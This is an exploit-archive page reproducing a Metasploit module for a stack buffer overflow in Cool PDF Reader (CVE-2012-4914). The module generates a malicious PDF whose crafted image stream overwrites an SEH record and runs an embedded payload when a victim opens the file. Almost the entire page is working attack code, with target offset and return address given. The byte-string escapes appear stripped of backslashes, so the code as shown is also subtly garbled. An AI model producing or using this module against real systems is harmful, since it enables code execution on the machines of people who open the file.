Home / exploits

PDF

Cool PDF Image Stream Buffer Overflow

Posted on 20 March 2013

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::PDF
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Cool PDF Image Stream Buffer Overflow',
 'Description' => %q{
 This module exploits a stack buffer overflow in Cool PDF Reader prior to version
 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
 contains a specially crafted image stream. This module has been tested successfully
 on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Francis Provencher', # Vulnerability discovery
 'Chris Gabriel', # Proof of concept
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 [ 'CVE', '2012-4914' ],
 [ 'OSVDB', '89349' ],
 [ 'EDB', '24463' ],
 [ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
 ],
 'Payload' =>
 {
 'Space' => 2000,
 'DisableNops' => true
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
 {
 'Offset' => 433,
 'Ret' => 0x00539fa4 # ppr from coolpdf.exe
 }
 ]
 ],
 'DisclosureDate' => 'Jan 18 2013',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
 ], self.class)
 end

 def exploit
 file_create(make_pdf)
 end

 def jpeg
 p = payload.encoded
 sploit = "xFFxD8xFFxEEx00x0Ex41x64" + "x6Fx62x65x00x64x80x00x00"
 sploit << "x00x02xFFxDBx00x84x00x02" + "x02x02x02x02x02x02x02x02"
 sploit << "x02x03x02x02x02x03x04x03" + "x03x03x03x04x05x04x04x04"
 sploit << "x04x04x05x05x05x05x05x05" + "x05x05x05x05x07x08x08x08"
 sploit << "x07x05x09x0Ax0Ax0Ax0Ax09" + "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C"
 sploit << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01" + "x03x02x02x03x03x03x07x05"
 sploit << "x05x07x0Dx0Ax09x0Ax0Dx0F" + "x0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C"
 sploit << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0C" + "x0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E"
 sploit << "x0Ex0Ex0Cx11x11x11x11x11" + "x11x11x11x11x11x11x11x11"
 sploit << "x11x11x11x11x11x11x11x11" + "xFFxC0x00x14x08x00x32x00"
 sploit << "xE6x04x01x11x00x02x11x01" + "x03x11x01x04x11x00xFFxC4"
 sploit << "x01xA2x00x00x00x07x01x01" + "x01x01x01x00x00x00x00x00"
 sploit << "x00x00x00x04x05x03x02x06" + "x01x00x07x08x09x0Ax0Bx01"
 sploit << "x54x02x02x03x01x01x01x01" + "x01x00x00x00x00x00x00x00"
 sploit << "x01x00x02x03x04x05x06x07"
 sploit << rand_text(target['Offset'])
 sploit << generate_seh_record(target.ret)
 sploit << p
 sploit << rand_text(2388 - p.length)
 return sploit
 end

 # Override the mixin obfuscator since it doesn't seem to work here.
 def nObfu(str)
 return str
 end

 def make_pdf
 @pdf << header
 add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
 add_object(2, nObfu("<</Type/Outlines>>"))
 add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
 add_object(4, nObfu("[/PDF/Text/ImageC]"))
 add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
 stream_1 = "stream" << eol
 stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
 stream_1 << "endstream" << eol
 add_object(6, nObfu("<</Length 91>>#{stream_1}"))
 stream = "<<" << eol
 stream << "/Width 230" << eol
 stream << "/BitsPerComponent 8" << eol
 stream << "/Name /X" << eol
 stream << "/Height 50" << eol
 stream << "/Intent /RelativeColorimetric" << eol
 stream << "/Subtype /Image" << eol
 stream << "/Filter /DCTDecode" << eol
 stream << "/Length #{jpeg.length}" << eol
 stream << "/ColorSpace /DeviceCMYK" << eol
 stream << "/Type /XObject" << eol
 stream << ">>"
 stream << "stream" << eol
 stream << jpeg << eol
 stream << "endstream" << eol
 add_object(7, stream)
 finish_pdf
 end

end

 

TOP